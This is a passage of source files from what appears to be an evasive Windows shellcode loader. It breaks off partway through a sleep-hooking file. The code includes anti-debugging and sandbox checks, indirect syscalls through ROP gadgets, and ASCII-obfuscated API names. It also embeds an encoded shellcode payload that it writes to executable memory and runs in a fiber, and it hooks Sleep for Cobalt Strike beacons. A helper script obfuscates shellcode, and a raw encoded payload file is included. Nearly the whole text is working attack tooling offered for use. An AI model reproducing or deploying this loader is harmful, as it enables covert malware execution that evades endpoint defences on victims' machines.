UCHAR QcSlIsSupported : 1;
};
};
UCHAR Reserved12[2];
union {
ULONG SharedDataFlags;
struct {
ULONG DbgErrorPortPresent : 1;
ULONG DbgElevationEnabled : 1;
ULONG DbgVirtEnabled : 1;
ULONG DbgInstallerDetectEnabled : 1;
ULONG DbgLkgEnabled : 1;
ULONG DbgDynProcessorEnabled : 1;
ULONG DbgConsoleBrokerEnabled : 1;
ULONG DbgSecureBootEnabled : 1;
ULONG DbgMultiSessionSku : 1;
ULONG DbgMultiUsersInSessionSku : 1;
ULONG DbgStateSeparationEnabled : 1;
ULONG SpareBits : 21;
} DUMMYSTRUCTNAME2;
} DUMMYUNIONNAME2;
ULONG DataFlagsPad[1];
ULONGLONG TestRetInstruction;
LONGLONG QpcFrequency;
ULONG SystemCall;
ULONG Reserved2;
ULONGLONG FullNumberOfPhysicalPages;
ULONGLONG SystemCallPad[1];
union {
KSYSTEM_TIME TickCount;
ULONG64 TickCountQuad;
struct {
ULONG ReservedTickCountOverlay[3];
ULONG TickCountPad[1];
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME3;
ULONG Cookie;
ULONG CookiePad[1];
LONGLONG ConsoleSessionForegroundProcessId;
ULONGLONG TimeUpdateLock;
ULONGLONG BaselineSystemTimeQpc;
ULONGLONG BaselineInterruptTimeQpc;
ULONGLONG QpcSystemTimeIncrement;
ULONGLONG QpcInterruptTimeIncrement;
UCHAR QpcSystemTimeIncrementShift;
UCHAR QpcInterruptTimeIncrementShift;
USHORT UnparkedProcessorCount;
ULONG EnclaveFeatureMask[4];
ULONG TelemetryCoverageRound;
USHORT UserModeGlobalLogger[16];
ULONG ImageFileExecutionOptions;
ULONG LangGenerationCount;
ULONGLONG Reserved4;
ULONGLONG InterruptTimeBias;
ULONGLONG QpcBias;
ULONG ActiveProcessorCount;
UCHAR ActiveGroupCount;
UCHAR Reserved9;
union {
USHORT QpcData;
struct {
UCHAR QpcBypassEnabled;
UCHAR QpcReserved;
};
};
LARGE_INTEGER TimeZoneBiasEffectiveStart;
LARGE_INTEGER TimeZoneBiasEffectiveEnd;
XSTATE_CONFIGURATION XState;
KSYSTEM_TIME FeatureConfigurationChangeStamp;
ULONG Spare;
ULONG64 UserPointerAuthMask;
XSTATE_CONFIGURATION XStateArm64;
ULONG Reserved10[210];
} KUSER_SHARED_DATA,
* PKUSER_SHARED_DATA;
#endif
================================================
FILE: headers/syscalls.h
================================================
#pragma once
#ifndef SYSCALLS_H
#define SYSCALLS_H
EXTERN_C DWORD dwSSN;
EXTERN_C PVOID qwJMP;
EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...);
NTAPI_FUNCTION CallMe();
extern PBYTE hNtdll;
extern NTSTATUS status;
// Super reliable way to find the base address of a given module
PBYTE FindModuleBase(const CHAR* moduleName);
// Resolve System Service Number (SSN), Address, and Offset for a System Call Name
SyscallEntry SSNLookup(PCHAR syscall);
// Collect all instances of a given ROP gadget in a given module
std::vector<PVOID> CollectGadgets(const PBYTE gadget, SIZE_T gadgetSize, PBYTE hModule);
// Choose a random gadget
PVOID GoGoGadget(std::vector<PVOID> gadgets);
// Checks the bytes immediately before each gadget
VOID CheckGadgetPreBytes(const std::vector<PVOID>& gadgets, SIZE_T gadgetSize, SIZE_T lookbackSize);
#endif
================================================
FILE: main.cpp
================================================
/*
* Credits
*
* MDSec - Resolving System Service Numbers using the Exception Directory
* https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/
*
* cpu0x00 - Ghost: Evasive shellcode loader
* https://github.com/cpu0x00/Ghost
*
* susMdT - LoudSunRun: Stack Spoofing with Synthetic frames based on the work of namazso, SilentMoonWalk, and VulcanRaven
* https://github.com/susMdT/LoudSunRun
*
* HulkOperator - x64 Call Stack Spoofing
* https://hulkops.gitbook.io/blog/red-team/x64-call-stack-spoofing
* https://github.com/HulkOperator/CallStackSpoofer
*
* Jan Vojtesek - Raspberry Robin's Roshtyak: A Little Lesson in Trickery
* https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/
*
* dadevel - Detecting Sandboxes Without Syscalls
* https://pentest.party/posts/2024/detecting-sandboxes-without-syscalls/
*/
#include <includes.h>
EXTERN_C DWORD dwSSN = 0;
EXTERN_C PVOID qwJMP = 0;
EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...);
NTAPI_FUNCTION CallMe();
PBYTE hNtdll = FindModuleBase("ntdll.dll");
PBYTE hKernel32 = FindModuleBase("KERNEL32.DLL");
BYTE callR12sig[] = { 0x41, 0xFF, 0xD4 };
std::vector<PVOID> callR12gadgets = CollectGadgets(callR12sig, sizeof(callR12sig), hNtdll);
PVOID gadget = nullptr;
NTSTATUS status = STATUS_UNSUCCESSFUL;
CHAR NtCE[] = "ZwCreateEvent";
CHAR NtWFSO[] = "ZwWaitForSingleObject";
SyscallEntry NtCreateEvent = SSNLookup(NtCE);
SyscallEntry sysNtWaitForSingleObject = SSNLookup(NtWFSO); // NtWaitForSingleObject is predefined in winternl.h
LPVOID mainFiber = nullptr;
LPVOID shellcodeFiber = nullptr;
// Function to deobfuscate ASCII-encoded strings
std::unique_ptr<char[]> unASCIIme(const int* asciiValues, size_t length) {
auto decoded = std::make_unique<char[]>(length + 1);
for (size_t i = 0; i < length; ++i)
decoded[i] = static_cast<char>(asciiValues[i]);
decoded[length] = '\0'; // Null-terminate the string
return decoded;
}
VOID RunMe() {
const PKUSER_SHARED_DATA ksd = (PKUSER_SHARED_DATA)KUSER_SHARED_DATA_ADDRESS;
// Check if Secure Boot is enabled
if (!ksd->DbgSecureBootEnabled) __fastfail(0xc00000022); // Exit process if Secure Boot is disabled
// Check for number of processors
if (ksd->ActiveProcessorCount <= 4) __fastfail(0xc00000022); // Exit process if 4 or less active processors
constexpr uint32_t TICKS_PER_SECOND = 10'000'000;
LARGE_INTEGER time1;
time1.LowPart = ksd->InterruptTime.LowPart;
time1.HighPart = ksd->InterruptTime.High2Time;
//if ((time1.QuadPart / TICKS_PER_SECOND / 60 / 60) < 1) __fastfail(0xc00000022); // Exit process if uptime is less than 1 hour
//if (ksd->BootId < 100) __fastfail(0xc00000022); // Exit process if boot count is less than 100
// Check for KdDebuggerEnabled
if (ksd->KdDebuggerEnabled) __fastfail(0xc00000022); // Exit process if true
// Simple check for VDLLs / Defender emulator
if (GetProcAddress((HMODULE)hNtdll, "MpVmp32Entry")) __fastfail(0xc00000022); // Exit process if VDLL import is successful
// Another check for debugger
const int aZwQIP[] = { 90, 119, 81, 117, 101, 114, 121, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 80, 114, 111, 99, 101, 115, 115 };
std::unique_ptr<char[]> ZwQIP = unASCIIme(aZwQIP, (sizeof(aZwQIP) / sizeof(aZwQIP[0])));
const PCHAR NtQIP = ZwQIP.get();
SyscallEntry NtQueryInformationProcess = SSNLookup(NtQIP);
dwSSN = NtQueryInformationProcess.SSN;
qwJMP = NtQueryInformationProcess.Syscall;
gadget = GoGoGadget(callR12gadgets);
PVOID debugFlags = nullptr;
if (NT_SUCCESS((NTSTATUS)CallR12(
(PVOID)CallMe,
4,
gadget,
NtCurrentProcess(),
(PROCESSINFOCLASS)31, // ProcessDebugFlags
&debugFlags,
sizeof(debugFlags),
NULL
)) && debugFlags) __fastfail(0xC0000409); // Exit process if debugger is detected
// Shellcode deobfuscation and preparation
PVOID cHzWuUOLpKshEZso = EncodePointer((PVOID)0x4831c94881e9d4ff);
PVOID qzmcczftlrofpMBK = EncodePointer((PVOID)0xffff488d05efffff);
PVOID BnFPxxUTdHzXfBou = EncodePointer((PVOID)0xff48bb44f6a40b5f);
PVOID XXNMyWIolkZnxquw = EncodePointer((PVOID)0x895d7f4831582748);
PVOID MaFIrEQDZFRfWRTY = EncodePointer((PVOID)0x2df8ffffffe2f4b8);
PVOID RdUZgSEaEksHKBzw = EncodePointer((PVOID)0xbe27efaf619d7f44);
PVOID BqaqZEeAEPNHxCHA = EncodePointer((PVOID)0xf6e55a1ed90f2e12);
PVOID pEfFdhEqFdQpoqch = EncodePointer((PVOID)0xbe95d93ac1d62d24);
PVOID WOLbfAoYkcEkuDYg = EncodePointer((PVOID)0xbe2f5947c1d62d64);
PVOID uwiZKXhkheFneKTM = EncodePointer((PVOID)0xbe2f790fc152c80e);
PVOID FMlGRbqbLHPhGOeo = EncodePointer((PVOID)0xbce93a96c16cbfe8);
PVOID yXPdbUEcVExPHxIj = EncodePointer((PVOID)0xcac5775da57d3e85);
PVOID MZGgjmoAILVGCTyd = EncodePointer((PVOID)0x3fa94a5e48bf9216);
PVOID GurEATzzcVZVIzYS = EncodePointer((PVOID)0xb7f543d4db7df406);
PVOID hNplZltYVPpESpst = EncodePointer((PVOID)0xcaec0a8f02ddf744);
PVOID xCgWVknCyvRsVUHZ = EncodePointer((PVOID)0xf6a443da4929180c);
PVOID umughcydaJUtAhrt = EncodePointer((PVOID)0xf7745bd4c1453bcf);
PVOID RqCqvWaIneDObANK = EncodePointer((PVOID)0xb684425e59be290c);
PVOID axOWFjDeHhmDuStA = EncodePointer((PVOID)0x096d4ad4bdd53745);
PVOID PzyVUWkmkIQWwsAh = EncodePointer((PVOID)0x20e93a96c16cbfe8);
PVOID UKaEuxbaMHcFVHRE = EncodePointer((PVOID)0xb765c252c85cbe7c);
PVOID GPBJMzmxizdGDxbs = EncodePointer((PVOID)0x16d1fa138a115b4c);
PVOID aEUbBqlVLqLgCpmm = EncodePointer((PVOID)0xb39dda2a51053bcf);
PVOID HKzolWqSFHEaxocQ = EncodePointer((PVOID)0xb680425e593b3ecf);
PVOID rGrpgUSTDCGnRSxX = EncodePointer((PVOID)0xfaec4fd4c9413645);
PVOID UkiKuEWPihQsBZed = EncodePointer((PVOID)0x26e5805b01157e94);
PVOID UtRdjVdGKiLgoqiz = EncodePointer((PVOID)0xb7fc4a07d7042505);
PVOID jmRaVonpGRiCdgiL = EncodePointer((PVOID)0xaee5521ed315fca8);
PVOID pTGvgohiOFOLvctP = EncodePointer((PVOID)0xd6e559a069053e1d);
PVOID jjMvRmnTSOFJsHUQ = EncodePointer((PVOID)0xacec804d600a80bb);
PVOID ecThXoPqvgeoPdTY = EncodePointer((PVOID)0x09f943e5885d7f44);
PVOID KqVeBhXZWhqorIlQ = EncodePointer((PVOID)0xf6a40b5fc1d0f245);
PVOID rUrHyjHgczZsKdEw = EncodePointer((PVOID)0xf7a40b1e336cf42b);
PVOID BHscujBmZqkyPcao = EncodePointer((PVOID)0x715bdee479e8dd12);
PVOID nbtyRzIjuCLOzHPX = EncodePointer((PVOID)0xb71eadca34c08091);
PVOID oaAwYlpVCipgbUeo = EncodePointer((PVOID)0xbe27cf77b55b034e);
PVOID RfLfmiVPuCbBjmaj = EncodePointer((PVOID)0x765feb2a8ce63857);
PVOID eFSJSYqBtDEtyjXg = EncodePointer((PVOID)0x84cb615fd01cf69e);
PVOID beyiUDTcLMuJgbDM = EncodePointer((PVOID)0x09716e27f9311036);
PVOID yaLBwyEBzokIYAHF = EncodePointer((PVOID)0x93d6253af1385f66);
PVOID qowPmWxYQjBdZNYP = EncodePointer((PVOID)0x9ed07f2ffa67506b);
PVOID GNvPOEZbSgXPdGal = EncodePointer((PVOID)0x9fc5326fbd6b4f7d);
PVOID bzxbcOVbSveYzfeO = EncodePointer((PVOID)0xd8d17871e82f1c2c);
PVOID LcYaLRXtmsZogKlT = EncodePointer((PVOID)0x9fd26e71e62f186b);
PVOID gIKApmGFAWwPmQgq = EncodePointer((PVOID)0xc28b622bec300c6b);
PVOID XQGRystfEcTjlPuc = EncodePointer((PVOID)0x84cd6834a42f1028);
PVOID mQGOcpeQBbPvvUfc = EncodePointer((PVOID)0x9a8b5936ea365a76);
PVOID EEezIaJMrCWOAPsU = EncodePointer((PVOID)0xc6f66433e5731625);
PVOID QRiWTvDaBIzcspUq = EncodePointer((PVOID)0xd8c97b6bab5d7f90);
std::vector<PVOID> encodedSegments = {
cHzWuUOLpKshEZso, qzmcczftlrofpMBK, BnFPxxUTdHzXfBou, XXNMyWIolkZnxquw, MaFIrEQDZFRfWRTY, RdUZgSEaEksHKBzw, BqaqZEeAEPNHxCHA, pEfFdhEqFdQpoqch, WOLbfAoYkcEkuDYg, uwiZKXhkheFneKTM, FMlGRbqbLHPhGOeo, yXPdbUEcVExPHxIj, MZGgjmoAILVGCTyd, GurEATzzcVZVIzYS, hNplZltYVPpESpst, xCgWVknCyvRsVUHZ, umughcydaJUtAhrt, RqCqvWaIneDObANK, axOWFjDeHhmDuStA, PzyVUWkmkIQWwsAh, UKaEuxbaMHcFVHRE, GPBJMzmxizdGDxbs, aEUbBqlVLqLgCpmm, HKzolWqSFHEaxocQ, rGrpgUSTDCGnRSxX, UkiKuEWPihQsBZed, UtRdjVdGKiLgoqiz, jmRaVonpGRiCdgiL, pTGvgohiOFOLvctP, jjMvRmnTSOFJsHUQ, ecThXoPqvgeoPdTY, KqVeBhXZWhqorIlQ, rUrHyjHgczZsKdEw, BHscujBmZqkyPcao, nbtyRzIjuCLOzHPX, oaAwYlpVCipgbUeo, RfLfmiVPuCbBjmaj, eFSJSYqBtDEtyjXg, beyiUDTcLMuJgbDM, yaLBwyEBzokIYAHF, qowPmWxYQjBdZNYP, GNvPOEZbSgXPdGal, bzxbcOVbSveYzfeO, LcYaLRXtmsZogKlT, gIKApmGFAWwPmQgq, XQGRystfEcTjlPuc, mQGOcpeQBbPvvUfc, EEezIaJMrCWOAPsU, QRiWTvDaBIzcspUq,
};
// Predefine expected shellcode size and pre-allocate space
alignas(8) std::vector<UCHAR> shellcode;
//shellcode.reserve(968);
shellcode.reserve(392);
// Decode and reconstruct each segment
for (auto encodedSegment : encodedSegments) {
UINT_PTR decodedSegment = reinterpret_cast<UINT_PTR>(DecodePointer(encodedSegment));
// Extract each byte and place it in the shellcode buffer
shellcode.push_back((decodedSegment >> 56) & 0xFF);
shellcode.push_back((decodedSegment >> 48) & 0xFF);
shellcode.push_back((decodedSegment >> 40) & 0xFF);
shellcode.push_back((decodedSegment >> 32) & 0xFF);
shellcode.push_back((decodedSegment >> 24) & 0xFF);
shellcode.push_back((decodedSegment >> 16) & 0xFF);
shellcode.push_back((decodedSegment >> 8) & 0xFF);
shellcode.push_back(decodedSegment & 0xFF);
}
const int aZwAVM[] = { 90, 119, 65, 108, 108, 111, 99, 97, 116, 101, 86, 105, 114, 116, 117, 97, 108, 77, 101, 109, 111, 114, 121 }; // ZwAllocateVirtualMemory
std::unique_ptr<char[]> ZwAVM = unASCIIme(aZwAVM, (sizeof(aZwAVM) / sizeof(aZwAVM[0])));
const PCHAR NtAVM = ZwAVM.get();
SyscallEntry NtAllocateVirtualMemory = SSNLookup(NtAVM);
dwSSN = NtAllocateVirtualMemory.SSN;
qwJMP = NtAllocateVirtualMemory.Syscall;
gadget = GoGoGadget(callR12gadgets);
PVOID baseAddress = nullptr;
SIZE_T regionSize = shellcode.size();
status = (NTSTATUS)CallR12(
(PVOID)CallMe,
6,
gadget,
NtCurrentProcess(),
&baseAddress,
(ULONGLONG)0,
®ionSize,
(ULONGLONG)(MEM_COMMIT | MEM_RESERVE),
(ULONGLONG)(PAGE_EXECUTE_READWRITE)
);
const int aZwWVM[] = { 90, 119, 87, 114, 105, 116, 101, 86, 105, 114, 116, 117, 97, 108, 77, 101, 109, 111, 114, 121 }; // ZwWriteVirtualMemory
std::unique_ptr<char[]> ZwWVM = unASCIIme(aZwWVM, (sizeof(aZwWVM) / sizeof(aZwWVM[0])));
const PCHAR NtWVM = ZwWVM.get();
SyscallEntry NtWriteVirtualMemory = SSNLookup(NtWVM);
dwSSN = NtWriteVirtualMemory.SSN;
qwJMP = NtWriteVirtualMemory.Syscall;
gadget = GoGoGadget(callR12gadgets);
SIZE_T bytesWritten = 0;
status = (NTSTATUS)CallR12(
(PVOID)CallMe,
5,
gadget,
NtCurrentProcess(),
baseAddress,
shellcode.data(),
(ULONGLONG)shellcode.size(),
&bytesWritten
);
// Create a callable "function" from the allocated space
void (*shellcodeFunc)() = (void(*)())baseAddress;
// Hook Sleep and SleepEx for CS beacons
ReSleep();
gadget = GoGoGadget(callR12gadgets);
mainFiber = (LPVOID)CallR12((PVOID)ConvertThreadToFiber, 1, gadget, nullptr);
gadget = GoGoGadget(callR12gadgets);
shellcodeFiber = (LPVOID)CallR12((PVOID)CreateFiber, 3, gadget, NULL, (LPFIBER_START_ROUTINE)shellcodeFunc, NULL);
while (true) {
gadget = GoGoGadget(callR12gadgets);
CallR12((PVOID)SwitchToFiber, 1, gadget, shellcodeFiber);
}
}
INT WINAPI CALLBACK WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) {
if (FiveHourEnergy()) __fastfail(0x31337);
RunMe();
return 0;
}
/*
int main() {
BYTE sig[] = { 0xff, 0x27 };
std::vector<PVOID> gadgets = CollectGadgets(sig, 2, hNtdll);
CheckGadgetPreBytes(gadgets, 2, 8);
}
*/
================================================
FILE: scripts/encoder.py
================================================
import re
import random
import string
import argparse
def generate_random_name():
return ''.join(random.choices(string.ascii_letters, k=16))
def parse_shellcode(file_path):
with open(file_path, "r") as f:
data = f.read()
# Extract hex bytes from shellcode definition
matches = re.findall(r'\\x([0-9a-fA-F]{2})', data)
shellcode = ''.join(matches)
return shellcode
def format_shellcode(shellcode):
segments = [shellcode[i:i+16] for i in range(0, len(shellcode), 16)]
formatted_lines = []
var_names = []
total_size = 0
for segment in segments:
while len(segment) < 16:
segment += "90" # Pad with NOPs if not a full 8-byte segment
total_size += len(segment) // 2 # Convert hex length to byte count
var_name = generate_random_name()
var_names.append(var_name)
formatted_lines.append(f"PVOID {var_name} = EncodePointer((PVOID)0x{segment});")
return formatted_lines, var_names, total_size
def main():
parser = argparse.ArgumentParser(description="Parse and format shellcode from an input file.")
parser.add_argument("input_file", help="Path to the input shellcode file")
args = parser.parse_args()
shellcode = parse_shellcode(args.input_file)
formatted_shellcode, var_names, total_size = format_shellcode(shellcode)
print(f"Total shellcode size (including padding): {total_size} bytes")
for line in formatted_shellcode:
print(line)
print("\nstd::vector<PVOID> encodedSegments = {")
print(" " + ", ".join(var_names) + ",")
print("};")
if __name__ == "__main__":
main()
================================================
FILE: scripts/shellcode.txt
================================================
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\x8c\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xae\xe2\x1e\xc0\xb3"
buf += b"\x25\x75\x6d\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x52\xaa\x9d\x24\x43\xcd\xbd\x6d\xae"
buf += b"\xe2\x5f\x91\xf2\x75\x27\x3c\xf8\xaa\x2f\x12\xd6"
buf += b"\x6d\xfe\x3f\xce\xaa\x95\x92\xab\x6d\xfe\x3f\x8e"
buf += b"\xaa\x95\xb2\xe3\x6d\x7a\xda\xe4\xa8\x53\xf1\x7a"
buf += b"\x6d\x44\xad\x02\xde\x7f\xbc\xb1\x09\x55\x2c\x6f"
buf += b"\x2b\x13\x81\xb2\xe4\x97\x80\xfc\xa3\x4f\x88\x38"
buf += b"\x77\x55\xe6\xec\xde\x56\xc1\x63\x43\xf4\x15\xb6"
buf += b"\xe9\x1c\xb5\xc1\xae\xf5\xe5\xae\xe2\x1e\x88\x36"
buf += b"\xe5\x01\x0a\xe6\xe3\xce\x90\x38\x6d\x6d\x29\x25"
buf += b"\xa2\x3e\x89\xb2\xf5\x96\x3b\xe6\x1d\xd7\x81\x38"
buf += b"\x11\xfd\x25\xaf\x34\x53\xf1\x7a\x6d\x44\xad\x02"
buf += b"\xa3\xdf\x09\xbe\x64\x74\xac\x96\x02\x6b\x31\xff"
buf += b"\x26\x39\x49\xa6\xa7\x27\x11\xc6\xfd\x2d\x29\x25"
buf += b"\xa2\x3a\x89\xb2\xf5\x13\x2c\x25\xee\x56\x84\x38"
buf += b"\x65\x69\x24\xaf\x32\x5f\x4b\xb7\xad\x3d\x6c\x7e"
buf += b"\xa3\x46\x81\xeb\x7b\x2c\x37\xef\xba\x5f\x99\xf2"
buf += b"\x7f\x3d\xee\x42\xc2\x5f\x92\x4c\xc5\x2d\x2c\xf7"
buf += b"\xb8\x56\x4b\xa1\xcc\x3a\x92\x51\x1d\x43\xaa\xb3"
buf += b"\x6c\xcb\x1a\xc7\x8c\x77\xae\xd6\x51\x75\x2c\xf8"
buf += b"\xab\x97\x26\xff\xac\x84\x2c\x14\xae\x69\xe6\xb4"
buf += b"\xda\xa0\x25\x9f\x2b\x56\xf1\x61\x68\x44\xad\xe3"
buf += b"\xd3\xd7\x81\xe3\x64\x25\x2c\x14\xd8\x48\xb9\x14"
buf += b"\xda\xa0\x84\x3d\xe2\x1e\xc0\xe9\x6d\xfc\xac\xef"
buf += b"\x5a\xa5\xc1\xb3\x25\x38\x5c\x67\xa3\x4f\x81\xe2"
buf += b"\x4f\x76\x2c\xff\xa3\xa4\x97\x3a\xba\xb3\x92\x7b"
buf += b"\x09\x67\x9b\xfb\xac\xb4\x25\x9f\x30\x57\x49\x6b"
buf += b"\x68\x44\xa4\xfc\x8a\x1e\xf2\x73\xa1\x27\x3f\xef"
buf += b"\x58\xf5\x95\x9d\x1e\x8a\xb8\xe6\x6b\xd8\x88\x30"
buf += b"\xe6\x25\x07\xa4\xbd\x56\x49\x42\x9f\x6a\x6d\xae"
buf += b"\xe2\x74\xc0\xdb\xa5\x46\x6d\xae\xab\x97\x20\xf2"
buf += b"\x9c\x71\x6d\xae\xe2\x5f\x7a\xc6\x63\xeb\xeb\x51"
buf += b"\x37\x56\x49\x42\x6d\xfc\xb7\xe7\x25\xde\x3f\x4c"
buf += b"\xda\x8a\x20\x9f\x2b\x4c\x92\xf2\x9f\x58\x6b\xb6"
buf += b"\x99\xe1\x15\x36\xe5\x7a\xe8\x33\xe3\x1e\xc0\xfb"
buf += b"\xda\xba\x62\x2a\x6e\x1f\xc0\xb3\xce\xc6\x84\x4a"
buf += b"\xe3\x1e\xc0\x5b\xa7\x8a\x92\x51\xcd\x4c\xa6\xff"
buf += b"\x7c\x75\x8a\xd8\x75\x21\xa0\x81\x51\x8b\xc6\x19"
buf += b"\x2e\xdf\x62\xef\xea\x47\x6f\xe0\xdf\x2f\xd4\x28"
buf += b"\x4b\x06\x4e\x57\x83\x13\x4b\x94\x03\xcf\x3c\xb4"
buf += b"\xeb\x56\xc4\x07\xab\xc7\xe1\x38\xc8\x9c\x92\xee"
buf += b"\xd7\xe9\xfa\x29\xb5\x87\x1f\x83\x51\x98\x4a\x22"
buf += b"\x90\x2d\xdd\x7a\xf1\x7a\xe9\x48\xd1\x43\xb2\x34"
buf += b"\x1f\xcc\xb4\xae\xb7\x6d\xa5\xc1\x08\x34\x0a\xcb"
buf += b"\x8c\x6a\xfa\x93\x68\x1a\x17\xc7\x8e\x72\xa1\x9c"
buf += b"\x10\x5b\x5d\x8e\xca\x7d\xaf\xde\x55\x14\x19\xc7"
buf += b"\x80\x72\xa5\x88\x05\x38\x3e\xe7\xa7\x3e\xf9\x9d"
buf += b"\x15\x4e\x4d\xf9\x8b\x70\xa4\xdc\x52\x06\x4d\xe0"
buf += b"\xb6\x3e\xf6\x9d\x14\x4e\x4d\xf9\x8b\x70\xf6\x87"
buf += b"\x1e\x55\x15\x98\xd6\x25\xe0\xe7\x57\x1c\x09\xcb"
buf += b"\x8c\x6a\xef\x86\x0b\x45\x56\x8e\xa3\x68\xa1\xdd"
buf += b"\x51\x55\x2f\xdc\x8d\x69\xb3\xd6\x57\x5c\x60\xa4"
buf += b"\xe2\x70\x7c\x0a\x34\x7d\x59\x8e\xbe\xaa\xb1\x91"
buf += b"\xb6\xde\x02\x12\x30\xb9\x6d\x74\xf6\x65\x1d\xe0"
buf += b"\x77\x65\x56\xe2\x9d\x8d\x81\xb6\x32\xf6\x0c\x2b"
buf += b"\x1f\x47\x26\x7f\xbc\x79\x2f\x1d\x2a\x48\x0c\xf2"
buf += b"\x3e\xdf\x49\x54\x04\xd6\xad\x6c\x7d\x93\x39\x55"
buf += b"\xb1\x0b\xda\x58\x58\x48\x50\xa8\x4d\xea\xf6\xfe"
buf += b"\x4f\x0a\x85\x7c\x24\xde\xb3\x6d\x73\x13\xa0\xca"
buf += b"\x27\x32\x4d\x49\x83\xf5\x87\x27\x81\x70\xbb\x40"
buf += b"\x96\x14\x3e\xcc\xab\xbb\xf0\xee\xc6\x47\x05\x4a"
buf += b"\xa7\xf0\x3f\xa8\x12\x1d\xbb\x31\x50\xca\x4c\x8d"
buf += b"\xc3\xd5\x58\x3a\x9a\x1a\xee\x3e\xd1\xf4\x27\x10"
buf += b"\x41\x6e\x2b\x4f\xfe\x2e\x32\xac\x67\xfe\x2c\x6c"
buf += b"\x07\xa6\x6d\x36\xcc\x84\x63\xaf\x81\x62\x04\xc9"
buf += b"\xcf\x60\x8d\x7d\xdf\x0c\x7c\x48\x75\x04\x01\xfa"
buf += b"\x64\x40\x56\x4f\x52\xf1\x4b\x61\xf7\xc6\xdd\x47"
buf += b"\x13\xcb\x25\xf8\x43\x96\xe7\xc4\x65\xf3\x80\x01"
buf += b"\x5a\xb4\x6f\xb9\x9b\x11\xb6\xae\xa3\xa0\x30\x06"
buf += b"\x87\x23\x92\x7b\xaa\x2f\x09\x09\x25\x75\x2d\xae"
buf += b"\xa3\xa6\xc0\xa3\x25\x75\x2c\x17\xa2\x1e\xc0\xb3"
buf += b"\x64\xcf\x35\x0a\xb1\xfb\x3f\x66\x6d\xe6\x3e\xfd"
buf += b"\xaa\x97\x27\xfb\xac\x84\x25\x27\x38\x5f\x78\xb3"
buf += b"\x05\x75\x6d\xe7\x6b\xe7\x81\x09\x37\xe3\xe4\x4c"
buf += b"\x1d\xcb\x88\x30\xe1\x55\xe8\x6e\x96\xa8\xa6\x38"
buf += b"\x22\x3d\x6c\x6d\x67\xde\xb5\x64\x7d\x2d\x35\xe6"
buf += b"\xe7\x1e\xc0\xb3\x25\x25\xae\x46\x9d\xe3\x3f\x4c"
buf += b"\x14\x45\x43\x9a\xd0\x30\xf4\x81\x0b\x40\x6d\x94"
buf += b"\x3c\x76\x71\xb3\x25\x75\x6d"
================================================
FILE: sleep.cpp
================================================
#include <includes.h>
// Used to store original bytes from Sleep/SleepEx
uint8_t originalSleepBytes[12] = { 0 };
uint8_t originalSleepExBytes[12] = { 0 };
// Create some simple compile-time polymorphism
class compileme {
private:
static constexpr unsigned int fnv1a_hash(const char* str, unsigned int hash = 2166136261U) { return (*str ? fnv1a_hash(str + 1, (hash ^ *str) * 16777619U) : hash); }
static constexpr unsigned int mix_entropy(unsigned int base) { return (base ^ 0x5A5A5A5A) * 2654435761U; }
static constexpr unsigned int compileTimeRNG() { return mix_entropy(fnv1a_hash(__TIME__) ^ fnv1a_hash(__DATE__) ^ fnv1a_hash(__FILE__) ^ fnv1a_hash(__TIMESTAMP__) ^ (__COUNTER__ * 37)); }
const unsigned int randomValue;
public:
constexpr compileme() : randomValue(compileTimeRNG()) {} // Constructor initializes the random value at compile-time
constexpr unsigned int GetMagicNumber() const { return randomValue; }
};
// Generate a random sleep duration between 5-10 sec
constexpr unsigned int GenerateSleepTime() {
constexpr compileme rng;
return (rng.GetMagicNumber() % 5000) + 5000;
}
// Check if process sleeptime is being fastforwarded
BOOL FiveHourEnergy() {
LARGE_INTEGER frequency, startTime, endTime;
DWORD tickStart, tickEnd;
constexpr DWORD sleepTimeMs = GenerateSleepTime();
constexpr double thresholdFactor = 0.7; // Assume some margin for error
// Capture initial timestamps
QueryPerformanceFrequency(&frequency);
QueryPerformanceCounter(&startTime);
tickStart = GetTickCount64();
Sleep(sleepTimeMs);
// Capture final timestamps
QueryPerformanceCounter(&endTime);
tickEnd = GetTickCount64();
// Calculate elapsed time in milliseconds
double elapsedHighResMs = (double)(endTime.QuadPart - startTime.QuadPart) * 1000.0 / frequency.QuadPart;
DWORD elapsedTickMs = tickEnd - tickStart;
// Check if elapsed time is much shorter than expected. Returns TRUE if time was fastforwarded.
return (elapsedHighResMs < sleepTimeMs * thresholdFactor || elapsedTickMs < sleepTimeMs * thresholdFactor);
}
// Centralized function for modifying memory protection
VOID ModifyMemoryProtection(LPVOID address, DWORD newProtect, DWORD* oldProtect) {
SIZE_T regionSize = sizeof(LPVOID);
CHAR ZwPVM[] = "ZwProtectVirtualMemory";
SyscallEntry NtProtectVirtualMemory = SSNLookup(ZwPVM);
dwSSN = NtProtectVirtualMemory.SSN;
qwJMP = NtProtectVirtualMemory.Syscall;
gadget = GoGoGadget(callR12gadgets);
status = (NTSTATUS)CallR12(
(PVOID)CallMe,
5,
gadget,
NtCurrentProcess(),
&address,
®ionSize,
newProtect,
oldProtect
);
if (!NT_SUCCESS(status))
printf("NtProtectVirtualMemory 0x%08X\n", status);
}
// Apply a trampoline hook to a given function
VOID HookFunction(PVOID FunctionToHook, PVOID RedirectionFunction, uint8_t* originalBytes) {
uint8_t trampolineHook[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, <RedirectionFunction>
0x41, 0xFF, 0xE2 // jmp r10
};
uint64_t hookAddress = (uint64_t)RedirectionFunction;
gadget = GoGoGadget(callR12gadgets);
CallR12(
(PVOID)memcpy,
3,
gadget,
&trampolineHook[2],
&hookAddress,
sizeof(hookAddress)
);
// Store original bytes before modifying the function
gadget = GoGoGadget(callR12gadgets);
CallR12(
(PVOID)memcpy,
3,
gadget,
(PVOID)originalBytes,
FunctionToHook,
sizeof(trampolineHook)
);
DWORD oldProtect = 0;
